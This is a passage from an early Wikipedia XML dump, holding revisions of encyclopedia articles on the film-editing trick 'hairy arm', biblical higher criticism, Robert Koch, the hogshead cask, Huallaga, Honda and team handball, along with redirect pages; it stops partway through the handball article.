      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Hairy arm]]
</text>
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  </page>
  <page>
    <title>Hairy arm</title>
    <id>13719</id>
    <revision>
      <id>30558572</id>
      <timestamp>2005-12-08T04:40:56Z</timestamp>
      <contributor>
        <username>Catamorphism</username>
        <id>313650</id>
      </contributor>
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">'''Hairy arm''' is an underhanded technique for finishing [[film]]s or videos quickly. Most editing sessions are expensive and require a long approval process before the film is considered complete. Often the people who have final say over the aesthetic content of a film or video are not present during the actual editing process; to get approval quickly, an editor may throw in an intentionally awful or incorrect shot, simply to distract the attention of the &quot;approver&quot; away from harder to define deficiencies in the final film or video.

{{filming-stub}}

[[Category:Film techniques]]</text>
    </revision>
  </page>
  <page>
    <title>Higher Criticism.</title>
    <id>13720</id>
    <revision>
      <id>15911313</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Higher criticism]]
</text>
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  </page>
  <page>
    <title>Higher criticism</title>
    <id>13721</id>
    <revision>
      <id>41750478</id>
      <timestamp>2006-03-01T13:56:11Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Myth]] to [[Mythology]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{Merge|The Historical-Critical Method}}

'''Higher criticism''' is a branch of [[literature|literary]] analysis known as [[Historical Criticism|historical criticism]] that attempts to investigate the origins of a text, especially the text of the [[Bible]]. Higher criticism in particular focuses on the sources of a document and tries to determine the authorship, date, and place of composition of the text. This term is used in contrast with [[lower criticism]] or [[textual criticism]], which is the endeavour to establish the original version of a text.

==Higher criticism and radical criticism==
Higher criticism originally referred to the work of [[Germany|German]] Biblical scholars.  After the path-breaking work on the [[New Testament]] by [[Friedrich Daniel Ernst Schleiermacher|Friedrich Schleiermacher]] (1768&amp;ndash;1834), in the next generation, [[David Friedrich Strauss]] (1808&amp;ndash;1874) and [[Ludwig Andreas Feuerbach|Ludwig Feuerbach]] (1804&amp;ndash;1872), in the mid-[[1800s|nineteenth century]], analyzed the historical records of the Middle East from Christian and Old Testament times, in search of independent confirmation of events related in the [[Bible]].  These latter are the intellectual descendants of [[John Locke]], [[David Hume]], [[Immanuel Kant]], [[Gotthold Lessing]], [[Gottlieb Fichte]], [[Georg Wilhelm Friedrich Hegel|Georg Hegel]], and the French [[rationalism|rationalists]].  

These ideas were taken to [[England]] by [[Samuel Taylor Coleridge]] and, in particular, by [[George Eliot]]'s translations of Strauss's ''Life of Jesus'' (1846) and Feuerbach's ''Essence of Christianity'' (1854).  ''La Vie de Jésus'' (1863), by a Frenchman, [[Ernst Renan|Ernest Renan]] (1823&amp;ndash;1892), continued the same tradition.  But three years earlier before the appearance of ''La Vie de Jésus,'' liberal Anglican theologians had begun the process of incorporating this historical criticism into Christian doctrine in ''Essays and Reviews'' (1860).  In Catholicism, ''L'Evangile et l'Eglise'' (1902), by [[Alfred Loisy]], against the ''Essence of Christianity'' of [[Adolf von Harnack]] and less inspired than Renan, gave birth to the [[modernist crisis]] (1902&amp;ndash;1961). Some scholars, such as [[Rudolf Bultmann]], have used higher criticism of the Bible to [[Mythology|demythologize]] it. 

Although the questions of higher criticism are widely recognized by [[Orthodox Judaism|Orthodox Jews]] and many traditional [[Christianity|Christians]] as legitimate questions, they often find the answers given by the [[radical]] higher critics unsatisfactory or even [[heresy|heretical]]. In particular, religious conservatives object to the [[Rationalism|rationalistic]] and [[Naturalism (philosophy)|naturalistic]] presuppositions of a large number of practioneers of higher criticism that leads to conclusions that conservative religionists find unacceptable. Nonetheless, conservative Bible scholars practice their own form of higher criticism within their supernaturalistic and confessional frameworks. Other Bible scholars, in contrast, believe that the evidence uncovered by higher criticism undermines such confessional frameworks. In addition, religiously [[Liberal Christianity|liberal Christians]] and religiously liberal Jews typically maintain that since belief in God has nothing to do with belief in whether a certain text, such as [[Isaiah]] or the [[Pentateuch]], has more than one author, it is possible to maintain religious faith while accepting most of the conclusions of religiously uncommitted higher criticism.  

One issue of higher criticism for the Hebrew Bible (Old Testament) has to do with the authorship of the Pentateuch. See the [[Documentary hypothesis]].

==Higher criticism of other religious texts==
Both higher and lower forms of criticism are carried out today with the religious writings of many religions, including [[Hinduism]], [[Buddhism]], and [[Confucianism]].

===Islam===
Modern higher criticism is just beginning to be carried out on the [[Qur'an]].  This scholarship questions some traditional claims about its composition and content, contending that the Qur'an incorporates material from both the [[Tanakh|Hebrew Bible]] and the [[New Testament]], and that the text of the Qur'an developed both during and after [[Muhammad]]'s lifetime. For example, Islamic history records that [[Uthman ibn Affan|Uthman]] collected all variants of the Qur'an and destroyed those that he did not approve of.  [http://theatlantic.com/issues/99jan/koran.htm]

==See also==
*[[Historical-grammatical]]
*[[Biblical genres]]
*[[Biblical criticism]]

Types of higher criticism:
* [[Source criticism]]
* [[Form criticism]]
* [[Redaction criticism]]
* [[Socio-historical criticism]]
* [[Rhetorical criticism]]
* [[Narrative criticism]]

History of Higher Criticism:
* [[Alexander Geddes]]

== External links ==
* [http://www.depts.drew.edu/jhc/ Journal of Higher Criticism]
* [http://www.infidels.org/library/historical/andrew_white/Chapter20.html From the Divine Oracle to Higher Criticism]
* [http://www.newadvent.org/cathen/04491c.htm Catholic Encyclopedia article &quot;Biblical Criticism (Higher)&quot;]
** [http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-51 ''Dictionary of the history of Ideas'':] Modernism and the Church
* [http://www.spirithome.com/biblcrit.html a Christian moderate's view on biblical criticism]
*[http://www.etsjets.org/jets/journal/42/42-2/42-2-pp193-210_JETS.pdf &quot;Historical Criticism and the Evangelical&quot;] by Grant Osborne
* [http://theatlantic.com/issues/99jan/koran.htm What is the Koran?] article from ''[[The Atlantic Monthly]]'' (full text available to subscribers only).

[[Category:Biblical criticism]]

[[fr:Critique radicale]]
[[nl:Schriftkritiek]]</text>
    </revision>
  </page>
  <page>
    <title>Robert Koch</title>
    <id>13722</id>
    <revision>
      <id>41075775</id>
      <timestamp>2006-02-24T22:13:34Z</timestamp>
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      <comment>+ro</comment>
      <text xml:space="preserve">[[image:RobertKoch.jpg|right|thumb|200px|Robert Koch]]

{{dablink|For the American lobbyist, see [[Bobby Koch]].}}

'''Heinrich Hermann Robert Koch''' ([[December 11]], [[1843]] &amp;ndash; [[May 27]], [[1910]]) was a German physician.  He became famous for the discovery of the [[Bacillus anthracis|anthrax bacillus]] ([[1877]]), the [[Mycobacterium tuberculosis|tuberculosis bacillus]] ([[1882]]) and the [[Vibrio cholerae|cholera bacillus]] ([[1883]]) and for his development of [[Koch's postulates]].  He was awarded the [[Nobel Prize in Physiology or Medicine]] for his tuberculosis findings in [[1905]].  He is considered one of the founders of [[bacteriology]].

Robert Koch was born in [[Clausthal]], [[Germany]] as the son of a mining official.  He studied medicine under [[Friedrich Gustav Jakob Henle]] at the [[University of Göttingen]] and graduated in 1866.  He then served in the [[Franco-Prussian War]] and later became district medical officer in ''Wollstein'' ([[Wolsztyn]]).  Working with very limited resources, he became one of the founders of [[bacteriology]], the other major figure being [[Louis Pasteur]].

After [[Casimir Davaine]] showed the direct transmission of the [[Anthrax disease|anthrax]] bacillus between cows, Koch studied anthrax more closely.  He invented methods to purify the bacillus from blood samples and grow pure cultures.  He found that, while it could not survive outside a host for long, anthrax built persisting endospores that could last a long time.  These [[endospore]]s, embedded in soil, were the cause of unexplained &quot;spontaneous&quot; outbreaks of anthrax.  Koch published his findings in 1876, and was rewarded with a job at the Imperial Health Office in [[Berlin]] in 1880.

In [[Berlin]], he improved the methods he used in Wollstein, including staining and purification techniques, and bacterial growth media, including [[agar]] plates (thanks to the advice of his wife), and the Petri dish (named after [[J.R. Petri]]) -  these devices are still used today.  With these techniques, he was able to discover the bacterium causing [[tuberculosis]] (''[[Mycobacterium tuberculosis]]'') in [[1882]] (he announced the discovery on [[March 24]]).  Tuberculosis was the cause of one in seven deaths in the mid-19th century.  The importance of his findings raised Koch to the level of [[Louis Pasteur]] in bacteriological research.

In 1883, Koch worked with a French research team in [[Alexandria]], [[Egypt]], studying [[cholera]].  Koch identified the [[vibrio]] bacterium that caused cholera, though he never managed to prove it in experiments.  The bacterium had been previously isolated by Italian anatomist [[Filippo Pacini]] in 1854, but his work had been ignored due to the predominance of the [[miasma theory of disease]].  Koch was unaware of Pacini's work and made an independent discovery, and his greater preeminence allowed the discovery to be widely spread for the benefit of others.  In 1965, however, the bacterium was formally renamed ''Vibrio cholerae Pacini 1854''.

In 1885, he became professor for [[hygiene]] at the [[Charité|University of Berlin]], and later, in 1891, director of the newly formed Institute of Infectious Diseases, a position which he resigned from in 1904.  He started traveling around the world, studying diseases in [[South Africa]], [[India]], and [[Java (island)|Java]].

Probably as important as his work on tuberculosis, for which he was awarded a Nobel Prize, are ''[[Koch's postulates]]'', which say that ''to establish that an organism is the cause of a [[disease]], it must be'' :
* found in all cases of the disease examined
* prepared and maintained in a pure [[culture]]
* capable of producing the original [[infection]], even after several generations in culture
* could be retrieved from an inoculated animal and cultured again.

But after his success the quality of his own research declined (especially with the [[fiasco]] over his ineffective TB cure &quot;[[tuberculin]]&quot;), although his pupils using his methods found the organisms responsible for [[diphtheria]], [[typhoid]], [[pneumonia]], [[gonorrhoea]], cerebrospinal [[meningitis]], [[leprosy]], [[bubonic plague]], [[tetanus]], and [[syphilis]] among others.

He died in [[Baden-Baden]], Germany.

==See also==
* [[History of medicine]]
* [[Microbiology]]
* [[Timeline of medicine and medical technology]]

==External links==
*[http://nobelprize.org/medicine/laureates/1905/koch-bio.html Biography at the Nobel Foundation website]

[[Category:1843 births|Koch, Robert]]
[[Category:1910 deaths|Koch, Robert]]
[[Category:Microbiologists|Koch, Robert]]
[[Category:German scientists|Koch, Robert]]
[[Category:Nobel Prize in Physiology or Medicine winners|Koch, Robert]]
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  <page>
    <title>Heart Wipe</title>
    <id>13723</id>
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      <minor />
      <text xml:space="preserve">#REDIRECT [[Wipe]]</text>
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    <title>Heart wipe</title>
    <id>13724</id>
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        <username>Grm wnr</username>
        <id>72203</id>
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      <comment>Merged with [[Wipe]]</comment>
      <text xml:space="preserve">#REDIRECT [[Wipe]]</text>
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  <page>
    <title>Hogshead</title>
    <id>13726</id>
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      <minor />
      <comment>robot  Adding: de</comment>
      <text xml:space="preserve">A '''hogshead''' is a large [[Barrel (storage)|cask]] of liquid (less often, of a [[List of traded commodities#Foodstuffs|food commodity]]).  More specifically, it refers to a specified volume, measured in [[Imperial unit]]s, primarily applied to [[alcoholic beverage]]s such as [[wine]], [[ale]], or [[cider]]. 

A '''tobacco hogshead''' was used in colonial times to transport and store tobacco. It was a very large wooden barrel. A standardized hogshead measured 48 inches long and 30 inches in diameter at the head. Fully packed with tobacco, it weighed about 1000 pounds. 

The ''[[Oxford English Dictionary]]'' (OED) notes that the hogshead was first standardized by an [[act of Parliament]] in [[1423]], though the standards continued to vary by locality and content.  For example, the OED cites an [[1897]] edition of ''[[Whitaker's Almanack]]'', which specified the number of gallons of wine in a hogshead varying by type of wine: [[claret]] 46 gallons,  [[Port wine|port]] 57, [[sherry]] 54; and [[Madeira wine|Madeira]] 46.  The ''[[American Heritage Dictionary]]'' claims that a hogshead can consist of anything from 62.5 to 140 (presumably U.S.) gallons.

Eventually, a hogshead of [[wine]] came to be 63 [[gallon]]s, while a hogshead of [[beer]] or [[ale]] is 54 gallons.

A hogshead was also used as unit of measurement for sugar in [[Louisiana]] for most of the 19th century. [[Plantation]]s were listed in sugar schedules as having produced x number of hogsheads of sugar or molasses.

{{English wine casks}}
{{English brewery casks}}

== Popular culture and trivia ==
* This measurement was the namesake for the UK pub chain of the same name.
* In the episode of ''[[The Simpsons]]'' entitled &amp;lsquo;[[A Star is Burns]]&amp;rsquo;, [[Grampa Simpson]] uttered: &amp;ldquo;My car gets forty [[rod (unit)|rod]]s to the hogshead, and that's the way I likes it!&amp;rdquo;  That translates into about 12 (beer) or 10 ½ (wine) feet per gallon, or about 1.2 litres per metre!
* In the [[Harry Potter]] book series, the town of [[Hogsmeade]] contains a pub named the Hog's Head,  a wordplay on this measurement.
* The [[ Beatles]] song [[Being for the Benefit of Mr Kite]] contains the line, &amp;ldquo;Over men and horses, hoops and garters and lastly through a hogshead of real fire&amp;rdquo;
* The opening song in [[The Music Man]] contains the line, &amp;ldquo;Gone are the hogshead cask and [[demijohn]]&amp;rdquo;
[[Category:Imperial units]]
[[Category:Wine packaging and storage]]
[[Category:Beer]]
[[Category:Units of volume]]

[[de:Oxhoft]]
[[nl:Okshoofd]]
[[ru:Хогсхед]]</text>
    </revision>
  </page>
  <page>
    <title>Huallaga</title>
    <id>13727</id>
    <revision>
      <id>33102334</id>
      <timestamp>2005-12-29T08:45:49Z</timestamp>
      <contributor>
        <username>Aidanb</username>
        <id>345584</id>
      </contributor>
      <text xml:space="preserve">'''Huallaga''' may refer to:

*Locations in [[Peru]]:
**'''[[Huallaga Province]]'''
**'''[[Huallaga River]]'''
**'''[[Huallaga Valley]]'''

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Honda</title>
    <id>13729</id>
    <revision>
      <id>42087844</id>
      <timestamp>2006-03-03T19:18:27Z</timestamp>
      <contributor>
        <ip>212.32.103.39</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}
{{Infobox_Company |
  company_name   = Honda Motor Co., Ltd. |
  company_logo   = [[Image:Honda_logo.png|100px]] |
  company_type   = [[Public company|Public]] {{tyo|7267}} |
  company_slogan = ''&quot;Power of Dreams&quot;'' |
  foundation     = [[September 24]], [[1948]] |
  location       = [[Tokyo]], [[Japan]] |
  key_people     = [[Soichiro Honda]], Founder &lt;br /&gt; [[Takeo Fukui]], CEO|
  num_employees  = 131,600 |
  industry       = [[Automobile]] &amp; [[Truck]] [[manufacturer]]|
  products       = automobiles, trucks, [[motorcycle]]s, [[scooter (motorcycle)|scooter]]s, [[all-terrain vehicle|ATVs]], [[electrical generator]]s, [[robotics]], [[Electric_boat|marine equipment]], and [[Landscape maintenance|lawn and garden equipment]] |
  revenue        = [[image:green up.png]]$79.222 billion [[United States dollar|USD]] ([[2004]])|
  homepage       = [http://www.honda.co.jp/ www.honda.co.jp]
}}
'''Honda Motor Co., Ltd.''' (in Japanese: 本田技研工業株式会社, in romaji: ''Honda Giken K&amp;#333;gy&amp;#333; Kabushiki Kaisha'') {{tyo|7267}} ({{nyse|HMC}}), is a [[Japan]]ese [[manufacturer]] of [[automobile|automobiles]], [[truck|trucks]], [[motorcycle|motorcycles]], and [[scooter (motorcycle)|scooter]]s.  They also make [[all-terrain vehicle|ATVs]], water craft, [[electrical generator|electrical generators]], marine engines, and lawn and garden equipment. With more than 14 [[million]] [[internal combustion engine]]s built each year, Honda is the largest engine-maker in the world. In [[2004]], the company began to produce [[diesel]] motors, which were both very quiet whilst not requiring particulate filters to pass pollution standards.  Honda's high-end line of cars are branded [[Acura]] in [[North America]]. It is arguable, however, that the foundation of Honda's success is the motorcycle division, for which the name is still probably the best known.

Honda is headquartered in [[Tokyo]]. Their shares trade on the [[Tokyo Stock Exchange]], the [[New York Stock Exchange]], as well as exchanges in [[Osaka, Osaka|Osaka]], [[Nagoya]], [[Sapporo]], [[Kyoto]], [[Fukuoka, Fukuoka|Fukuoka]], [[London]], [[Paris]] and [[Switzerland]]. American Honda Motor Co., is based in  Torrance, CA. Honda Canada is based in [[Alliston, Ontario]].

==Company history==

[[image:honda.rune.arp.750pix.jpg|thumb|right|250px|The 1832cc Honda Rune motorcycle]]

[[Soichiro Honda]] began by manufacturing [[piston]] rings in [[November]] [[1937]].  He quickly became a sub-contractor to [[Toyota]], and then expanded into other engine parts.  

On [[September 24]], [[1948]] the Honda Motor Co. was founded. Soichiro Honda took advantage of a gap in the Japanese market that was decimated by [[World War II]], Japan was starved of money and fuel, but still in need of basic [[transport]].  Honda, utilizing his manufacturing facilities, attached an engine to a bicycle, creating the cheap and efficient transport that was required.

The Honda piston manufacturing facilities were almost completely destroyed. Soichiro Honda created a new company with what he had left, giving it the unusual name of &quot;Honda Giken Kōgyō Kabushiki Kaisha&quot; which translates to &quot;Honda Research Institute Co. Ltd.&quot; Despite its grandiose name, the first facility bearing that name was a simple wooden shack where Mr. Honda and associates would fit engines to bicycles. Interestingly, the official Japanese name for Honda Motor Co. Ltd. remains the same, in honor of Soichiro Honda's efforts.

Honda quickly began to produce a range of scooters and motorcycles and Soichiro Honda quickly recovered from the losses incurred during the war.  By the late [[1960s]], Honda had conquered most world markets. The [[United Kingdom|British]] were especially slow to respond to the Honda introduction of [[electric starter]]s to motorcycles.  By the [[1970s]], Honda was the largest producer of motorcycles in the world, a title it has never relinquished.

Honda began producing road cars in [[1960]], mostly intended for the Japanese market.  Though participating in international [[motorsport]] (see [[#Racing history|Racing]]), Honda was having difficulty selling its automobiles in the [[United States]].  Built for Japanese buyers, Honda's small cars had failed to gain the interest of American buyers.

Honda finally established a foothold in the American market in [[1972]] with the introduction of the [[Honda Civic|Civic]]&amp;mdash;larger than their previous models, but still small compared to the typical American car&amp;mdash;just as the [[1970s]] [[energy crisis]] was impacting worldwide economies.  New emissions laws in the US, requiring American car makers to affix expensive [[catalytic converter]]s to exhaust systems, noticeably increased sticker prices.  However, Honda's introduction of the 1975 Civic [[CVCC]], CVCC being a variation on the [[stratified charge engine]], allowed the Civic to pass emissions tests without a catalytic converter.

In [[1976]], the [[Honda Accord|Accord]] was immediately popular because of its economy and fun-to-drive nature; Honda had found its niche in the United States.  In [[1982]], Honda was the first Japanese car manufacturer to build [[factory|car plants]] in the US, starting with an Accord plant in [[Marysville, Ohio]].  They now have plants in [[Marysville, Ohio|Marysville]], [[Anna, Ohio|Anna]], and [[East Liberty, Ohio|East Liberty]], as well as in [[Lincoln, Alabama|Lincoln]], [[Alabama]] ([[Honda Manufacturing of Alabama]]), and [[Timmonsville, South Carolina|Timmonsville]], [[South Carolina (U.S. state)|South Carolina]], and plan to open a new plant in [[Tallapoosa, Georgia|Tallapoosa]], [[Georgia (U.S. state)|Georgia]].  Honda's North American and U.S. headquarters are located in [[Torrance, California]]. Honda's Canadian and many US-market Civics are manufactured in their plant in [[Alliston, Ontario]] since [[1985]].

Honda was also the first Japanese automaker to introduce a separate luxury line of vehicles.  Created in 1986 and known as [[Acura]], the line is made up of modified versions of Honda vehicles usually with more power and sportiness than their Honda counterparts.  

In [[1989]]  Honda launched their [[VTEC]] [[variable valve timing]] system in its production car engines, which gave improved efficiency and performance across a broader range of engine speeds. One of the first of its kind in passenger vehicles, it worked on the premise of tuning one engine to operate at two different 'settings' depending on load. Normal driving would use a &quot;shorter&quot; cam lobe that resulted in more efficient operation. A more aggressive, longer duration, cam  engages when engine RPM reaches a set point resulting in more power during hard acceleration.

For the [[2007]] model year, Honda plans to improve the safety of its vehicles by providing front-seat side [[airbag]]s, side-curtain airbags, and [[anti-lock brakes]] as standard equipment in all automobiles available in North America (except the [[Honda Insight|Insight]], [[Honda S2000|S2000]], and [[Acura NSX]], which will not have side-curtain airbags).  By [[2006]], Honda plans to have as standard equipment Vehicle Safety Assist and rollover sensors in all light trucks, including the [[Honda CR-V|CR-V]], [[Honda Odyssey|Odyssey]], and [[Acura MDX]]. Honda also plans to make its vehicles safer for pedestrians, with more safely-designed hoods, hinges, frame constructs, and breakaway wiper pivots.

==Racing history==
:''See also [[Honda F1]]''

Soichiro Honda, being a race driver himself, could not stay out of international [[motorsport]].  In [[1959]], Honda entered five motorcycles into the [[Isle of Man TT]] race, the most prestigious motorcycle race in the world.  While always having good power, it took until [[1961]] for Honda to tune their chassis well enough to allow [[Mike Hailwood]] to claim their first race victories in the 125 and 250 [[Cubic centimetre|cc]] classes.  Hailwood would later pick up their first senior TT win in [[1966]].

In [[1968]], [[Jo Schlesser]] was killed in a Honda RA302 at the [[1968 French Grand Prix|French Grand Prix]].  This racing tragedy, coupled with their commercial difficulties selling automobiles in the [[United States]], prompted Honda to withdraw from all international motorsport that year.

In [[2003]], Honda became an engine supplier to the [[Indy Racing League]]. In 2004, Honda-powered cars won 14 of 16 IRL events, including the Indianapolis 500, and claimed the IRL Manufacturers' Championship, Drivers' Championship and Rookie of the Year titles.

==Honda's strategy==
[[image:goldwing.rally.bristol.750pix.jpg|thumb|right|250px|[[Honda Goldwing]]]]
During the 1960s, when it was a small manufacturer, Honda broke out of the Japanese motorcycle [[market]] and began exporting to the US. Taking Honda&amp;rsquo;s story as an archetype of the smaller manufacturer entering a new market already occupied by highly dominant competitors, the story of their market entry, and their subsequent huge success in the US and around the world, has been the subject of some academic controversy. Competing explanations have been advanced to explain Honda&amp;rsquo;s strategy and the reasons for their success.

The first of these explanations was put forward when, in 1975, [[Boston Consulting Group]] (BCG) was commissioned by the [[United Kingdom|UK]] government to write a report explaining why and how the British motorcycle industry had been out-competed by its Japanese competitors. The report concluded that the Japanese firms, including Honda, had sought a very high scale of production (they had made a large number of motorbikes) in order to benefit from [[economies of scale]] and [[learning curve]] effects. It blamed the decline of the British motorcycle industry on the failure of British managers to invest enough in their businesses to profit from economies of scale and [[economies of scope|scope]].

The second story is told in [[1984]] by [[Richard Pascale]], who had interviewed the Honda executives responsible for the firm&amp;rsquo;s entry into the US market. As opposed to the tightly focused strategy of low cost and high scale that BCG accredited to Honda, Pascale found that their entry into the US market was a story of &amp;ldquo;miscalculation, serendipity, and organizational learning&amp;rdquo; &amp;ndash; in other words, Honda&amp;rsquo;s success was due to the adaptability (and hard work) of its staff, rather than any long term strategy. For example, Honda&amp;rsquo;s initial plan on entering the US was to compete in large motorcycles, around 300cc. It was only when the team found that the scooters they were using to get themselves around their US base of [[San Francisco]] attracted positive interest from consumers that they came up with the idea of selling the [[Supercub]].

The most recent school of thought on Honda&amp;rsquo;s strategy was put forward by [[Gary Hamel]] and [[C. K. Prahalad]] in [[1989]]. Creating the concept of [[core competency|core competencies]] with Honda as an example, they argued that Honda&amp;rsquo;s success was due to its focus on leadership in the technology of internal combustion engines. For example, the high power-to-weight ratio engines Honda produced for its racing bikes provided technology and expertise which was transferable into mopeds.

Honda's entry into the US motorcycle market during the 1960s is used as a [[case study]] for teaching introductory strategy at many [[business school]]s worldwide.

==Robots==
*[[ASIMO]] [http://world.honda.com/ASIMO/ ASIMO], a bipedal humanoid [[robot]]
*[http://asimo.honda.com/ ASIMO Humanoid Robot] - Official US Site
Past Robots
[[E0]]
[http://world.honda.com/ASIMO/history/e0.html E0 (1986)]
[[Honda E1]] 
[http://world.honda.com/ASIMO/history/e1_e2_e3.html E1 (1987 - 1991)]
[http://world.honda.com/ASIMO/history/e1_e2_e3.html E2 (1987 - 1991)]
[http://world.honda.com/ASIMO/history/e1_e2_e3.html E3 (1987 - 1991)]
[http://world.honda.com/ASIMO/history/e4_e5_e6.html E4 (1991 - 1993)]
[http://world.honda.com/ASIMO/history/e4_e5_e6.html E5 (1991 - 1993)]
[http://world.honda.com/ASIMO/history/e4_e5_e6.html E6 (1991 - 1993)]
[http://world.honda.com/ASIMO/history/p1_p2_p3.html P1 (1993 - 1993)]
[http://world.honda.com/ASIMO/history/p1_p2_p3.html P2 (1993 - 1993)]
[http://world.honda.com/ASIMO/history/p1_p2_p3.html P3 (1993 - 1993)]
[http://world.honda.com/ASIMO/history/asimo.html ASIMO (2000 - Today)]

==See also==
*[[List of Honda engines]]
*[[List of Honda Engine Throttle Body Sizes]]
*[[List of Honda vehicles]]
*[[Honda Automotive VIN codes]]
*[[List of Honda motorcycles]]
*[[Acura]]
*[[Honda Type-R]]
*[[VTEC]]
*[[Dongfeng Honda Automobile Company]] - joint venture
*[[Honda Automobile (China) Company]] - importer of cars into China
*[[Honda Canada Inc.]]
*[[Cog (television commercial)|Honda &quot;Cog&quot; commercial]]

== External links ==
{{commons|Category:Honda}}
*Sites for only Automobile
** [http://www.vtec.net/ Temple of VTEC, enthusiast site]
** [http://www.nonVTEC.com/ nonVTEC.com enthusiast site]
** [http://automobiles.honda.com/ Official automobiles site (US)]
** [https://estore.honda.com/ Official parts and accessories site]
** [[EPA_2004_fuel_economy_report_appendix_M2#Honda|EPA 2004 Fuel Economy Report (Honda)]]
** [http://specs.amayama.com/honda/  AMAYAMA.COM] - Honda all specs, generations and pics.

*Sites for only Motorcycle
** [http://powersports.honda.com/ Official motorcycles site (US)]
** [http://www.hondaredriders.com/motocross/landing.asp Honda Motocross] - Official Site
** [http://www.hondaredriders.com/roadracing/landing.asp Honda Road Racing] - Official Site
** [http://www.hondaredriders.com/offroad/landing.asp Honda Off-road Racing] - Official Site
** [http://100megsfree4.com/honda/ Honda Gallery an enthusiast site] &amp;mdash; features every Honda motorcycle by Motorera.com
** [http://www.hondamotorcycle.net Honda motorcycle resources, SOHC4 enthusiast site]
** [http://www.bikewalls.com/motorcycles/Honda_wallpapers High resolution Honda pictures]

*Sites for both Automobile and Motorcycle
** [http://world.honda.com/ Honda Global site]
** [http://www.honda.com Honda USA]
** [http://www.honda.ca Honda Canada]
** [http://www.honda.com.pk Honda Pakistan]
** [http://www.honda.co.uk Honda UK]
** [http://www.honda.com.au Honda Australia]
** [http://www.honda-tech.com/ Honda-Tech, technical expertise]
** [http://www.bigblogging.com/honda Honda News]
** [http://www.honda.co.jp/pressroom/library/ Honda Press Library] (Japanese, but with graphical timelines of car and bike models)

*Sites for Portable Generators
** [http://www.hondapowerequipment.com/gen.asp Honda Generators] - Official US Site
** [http://www.generatorfacts.com/honda.htm Honda Generators]

*Sites for Marine Outboard and Other Engines
** [http://www.honda-marine.com/ Honda Outboard Motors] - Official US Site
** [http://www.honda-engines.com/ Honda Engines] - Official US Site

*Adverts
** [http://www.ephinx.com/tvadverts/tvadvert.php?id=40 Famous Honda Accord - The Cog - TV Advert]
** [http://84.40.3.164/ New 2006 Honda Civic - TV Advert]
** [http://84.40.3.165/ Power of Dreams - TV Advert]
** [http://www.ephinx.com/tvadverts/tvadvert.php?id=25 Honda - Crazy Sensible - TV Advert]
** [http://www.ephinx.com/tvadverts/tvadvert.php?id=15 Honda FR-V - Dots - TV Advert]
** [http://www.ephinx.com/tvadverts/tvadvert.php?id=4 Honda - Yume no Chikara - TV Advert]
** [http://www.joy-machine.co.uk Honda - HR-V 'Joy Machine' - TV Adverts]

== References ==

* &quot;Move Over, Volvo: Honda Sets New Safety Standard for Itself&quot;, an article in the &quot;News&quot; section of the March, [[2004]] issue of ''[[Motor Trend]]'', on [[page]] 32
* [http://world.honda.com/investors/annualreport/2004/46.html 2004 Annual Corporate Report]
* The story of Honda's entry and growth in the American market is documented in [[Terry Sanders]]' film [[The Japan Project: Made in Japan]].

{{Honda}}

[[Category:Honda]]
[[Category:Motorcycle manufacturers]]
[[Category:Scooter manufacturers]]
[[Category:Moped manufacturers]]
[[Category:Engine manufacturers]]
[[Category:Boat builders]]
[[Category:Companies of Japan]]

[[als:Honda]]
[[ar:هوندا]]
[[bg:Хонда]]
[[cs:Honda]]
[[da:Honda]]
[[de:Honda]]
[[es:Honda]]
[[eo:Honda]]
[[fr:Honda]]
[[ko:혼다]]
[[id:Honda]]
[[it:Honda]]
[[nl:Honda]]
[[ja:本田技研工業]]
[[no:Honda]]
[[pl:Honda]]
[[pt:Honda]]
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[[sv:Honda]]
[[zh:本田技研工业股份有限公司]]</text>
    </revision>
  </page>
  <page>
    <title>Team handball</title>
    <id>13730</id>
    <revision>
      <id>41613428</id>
      <timestamp>2006-02-28T14:49:12Z</timestamp>
      <contributor>
        <ip>151.188.16.19</ip>
      </contributor>
      <comment>/* Field and ball */</comment>
      <text xml:space="preserve">{{Redirect|Handball}}
'''Handball''' (also known as '''team handball''', '''field handball''' or '''Olympic handball''') is a [[team sport]] where two teams of seven players each (six players and a goalkeeper) pass and bounce a ball trying to throw it in the goal of the opposing team.

The game is similar to [[football (soccer)|football]] (soccer), regardless of the basic method of handling the ball which is inverse from football. It has been played internationally since the first half of the 20th century.

==Field and ball== 
Handball is played on a field forty meters long by twenty meters wide, with a dividing line in the middle and a goal in the center of either end. The goals are surrounded by a near-semicircular line that is generally six meters away from the goal. There is also a dashed near-semicircular line that is nine meters away from the goal.

Only the defending [[goalkeeper]] is allowed to step inside the six meter perimeter, though any player may attempt to catch and touch the ball in the air within it. If a player should find himself in contact inside the goal perimeter he must immediately take the most direct path out of it. Should a defender make contact with an attacker while in the goal perimeter, their team is penalized with a direct attempt at the goal, with only one attacker on the seven-meter line and the defending goalkeeper involved.

The ball is smaller than a [[football (ball)|football]] in order for the players to be able to hold and handle it with a single hand (though contact with both hands is perfectly allowed). It is transported by bouncing it between hands and floor &amp;mdash; much as in [[basketball]]. A player may only hold the ball for three seconds and may only take three steps with the ball in hand.

==Game play==
A standard match duration consists of two periods of 30 minutes each, during which each team may call one time-out. Normal league games are usually allowed to end in a draw, but in knockout tournaments, such as the final stages of the Olympics etc, if a game ends in a tie, two extension periods of 10 minutes are played, and if each of them ends in a tie as well, the tie-break is an individual shootout from the 7-meter line.

The game is quite fast and includes much contact as the defenders try to bodily stop the attackers from approaching the goal. Only frontal contact by the defenders is allowed; when a defender stops an attacker with their arms on the side, the play is stopped and restarted from the nine meter line, with the attacking team in possession. If the contact between the players is particularly rough (even if it is indeed frontal), the [[referee]]s may award a nine-meter penalty to the attacking team, or a seven-meter penalty. In more extreme cases, they give the defender a [[yellow card|yellow]] (warning) or a [[red card]] (permanent expulsion). For rough fouls they can also order two-minute expulsions, and the third two-minute punishment for the same player automatically leads to a red card expulsion.

